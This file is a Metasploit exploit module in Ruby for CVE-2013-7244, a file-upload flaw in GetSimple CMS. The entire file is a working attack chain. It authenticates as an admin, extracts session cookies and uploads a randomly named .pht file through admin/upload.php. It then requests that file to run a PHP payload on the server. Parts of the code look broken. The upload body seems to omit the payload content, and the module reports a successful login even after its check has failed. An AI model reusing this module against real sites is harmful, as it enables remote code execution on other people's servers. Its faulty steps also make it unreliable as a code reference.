## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'GetSimpleCMS PHP File Upload Vulnerability', 'Description' => %q{ This module exploits a file upload vulnerability found in GetSimple CMS By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file to a upload directory, which results in arbitrary code execution. }, 'Author' => [ 'Ahmed Elhady Mohamed' # @kingasmk ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', 'CVE-2013-7244'] , ['Website', 'www.1nfosec4all.blogspot.com'] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 04 2014')) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']) , OptString.new('User', [true, 'The username that will be used for authentication process', '']) , OptString.new('Pass', [true, 'The right password for the provided username', '']) , OptString.new('Upload_dir', [true, 'The upload directory, where uploaded files are located', '/data/uploads/']) ], self.class) end def authenticatePrcoss(peer, uri) data_post = "userid=#{datastore['User']}&pwd=#{datastore['Pass']}&submitted=Login" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}admin/index.php", 'data' => data_post }) if res.code == 404 or res.code == 400 print_error("#{peer} - Error - URI Path is Not Correct - Page Not Found!") return end if res.code == 200 print_error("#{peer} - Error - User Credentials are Wrong, aborting!") return end return res end def getCookiesValues(res) setCookieValues = res.headers['Set-Cookie'] firstCookieName =setCookieValues.scan(/(.*)=(.*); expires=.* GS_ADMIN_USERNAME=(.*); expires=.* GS_ADMIN_USERNAME=.*/)[0][0] firstCookieValue = setCookieValues.scan(/(.*)=(.*); expires=.* GS_ADMIN_USERNAME=(.*); expires=.* GS_ADMIN_USERNAME=.*/)[0][1] secondCookieName = "GS_ADMIN_USERNAME" secondCookieValue = setCookieValues.scan(/(.*)=(.*); expires=.* GS_ADMIN_USERNAME=(.*); expires=.* GS_ADMIN_USERNAME=.*/)[0][2] cookieHttpHeader = "#{firstCookieName}=#{firstCookieValue}; #{secondCookieName}=#{secondCookieValue}" return cookieHttpHeader end def uploadFile(payload_name, uri, cookieHttpHeader) boundary = Rex::Text.rand_text_hex(7) post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"file[]\"; filename=\"#{payload_name}\"\r\n" post_data << "Content-Type: application/x-httpd-php\r\n\r\n" post_data << "\r\n\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"submit\"\r\n\r\n" post_data << "Upload\r\n" post_data << "--#{boundary}--\r\n" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}admin/upload.php?path=", 'cookie' => cookieHttpHeader, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) return res end def exploit payload_name = rand_text_alpha(rand(10) + 5) + '.pht' peer = "#{rhost}:#{rport}" uri = target_uri.path uri << '/' if uri[-1,1] != '/' print_status("#{peer} - Using The Provided Credentials for Authentication.") res = authenticatePrcoss(peer, uri) print_status("#{peer} - The authentication process is done successfully!") print_status("#{peer} - Extracting Cookies Information") cookieHttpHeader = getCookiesValues(res) uploadFile(payload_name, uri, cookieHttpHeader) print_status("#{peer} - Uploading #{payload_name.downcase} File.") print_status("#{peer} - #{payload_name.downcase} File uploaded successfully!") upload_dir = datastore['Upload_dir'] upload_uri = "#{uri}#{upload_dir}#{payload_name.downcase}" print_status("#{peer} - Executing payload #{payload_name.downcase}") res = send_request_raw({ 'uri' => upload_uri, 'method' => 'GET' }) end end